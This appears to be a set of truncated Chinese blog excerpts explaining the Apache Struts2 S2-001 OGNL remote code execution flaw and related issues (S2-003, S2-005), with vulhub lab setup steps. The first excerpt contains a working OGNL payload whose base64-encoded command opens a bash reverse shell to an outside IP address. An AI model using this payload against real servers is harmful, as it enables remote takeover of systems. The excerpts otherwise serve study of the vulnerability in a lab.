构造S2-001反弹shell载核 %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"bash","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMzQuMTYyLjEzLzY2NjYgMD4mMQ==} |{base64,-d}|{bash,-i}"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputSt...
S2-001 漏洞由于在其解析 jsp 文件的标签数据时,官方举例是 form 标签的 textfield 数据中,在验证表单出错时,页面再次回到验证出错页面,这时如果开启了 altSyntax (默认开启)且为字符串类型时, struts2 会对标签中的数据在值栈中自栈顶向栈底找与表单 name 名同名的属性值进行 ognl 表达式解析并显示。故在表单...
1、漏洞成因总体概览 该漏洞触发的一个因素之一是在Action执行完成之后,返回“错误”的结果到原先的带有taglib标签的jsp进行渲染,而返回的时候会对字符串进行ognl表达式递归解析。借助一个图更好理解一些 Result配置 我们看看execute方法的内在逻辑 依照struts.xml当execute返回success时,将指向success.jsp,若为error将执行...
Apache Struts2是一个用于开发Java EE web应用程序的开源框架。它采用了MVC(Model-View-Controller)设计模式,使得开发者能够构建出具有丰富用户界面的应用程序。然而,在Struts2的某些版本中,存在着安全漏洞,其中s2-001是一个较为严重的远程命令执行漏洞。 在Struts2 2.0.9及更低版本中,该漏洞允许攻击者通过特定的参...
漏洞的产生在于WebWork 2.1 和Struts 2的’altSyntax’配置允许OGNL 表达式被插入到文本字符串中并被递归处理(Struts2框架使用OGNL作为默认的表达式语言,OGNL是一种表达式语言,目的是为了在不能写Java代码的地方执行java代码;主要作用是用来存数据和取数据的)。这就导致恶意用户可以提交一个字符串(通常通过HTML的text字段...
s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态...
1、进入vulhub中s2-001所在目录 /usr/vulhub/struts2/s2-001(根据vulhub个人安装目录自行调整) 1. 2、查看漏洞说明 cat README.zh-cn.md (README.md为英文版) 1. 3、docker容器启动 docker-compose up 1. 4、查看docker进程,确定服务端口 docker ps ...
最近在学习java的相关漏洞,所以Struts2的漏洞自然是绕不开的。为了更好的理解漏洞原理,计划把Struts2所有的漏洞自己都做一个复现。并且自己去实现相关的POC。相关的环境搭建,以及POC实现细节,参考文章我都会尽可能的写清楚。方便自己记录学习过程的同时,方便看文章的人学习。
漏洞原理 Struts 2 框架的表单验证机制( Validation )主要依赖于两个拦截器:validation 和 workflow。 validation 拦截器工作时,会根据 XML 配置文件来创建一个验证错误列表;workflow 拦截器工作时,会根据 validation 拦截器所提供的验证错误列表,来检查当前所提交的表单是否存在验证错误。
首先先从http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip中下载struts2的jar包 然后将在WEB-INF目录中新建lib目录,将所需的五个包放入 然后修改web.xml内容为 <?xml version="1.0" encoding="UTF-8"?><web-appxmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns="http...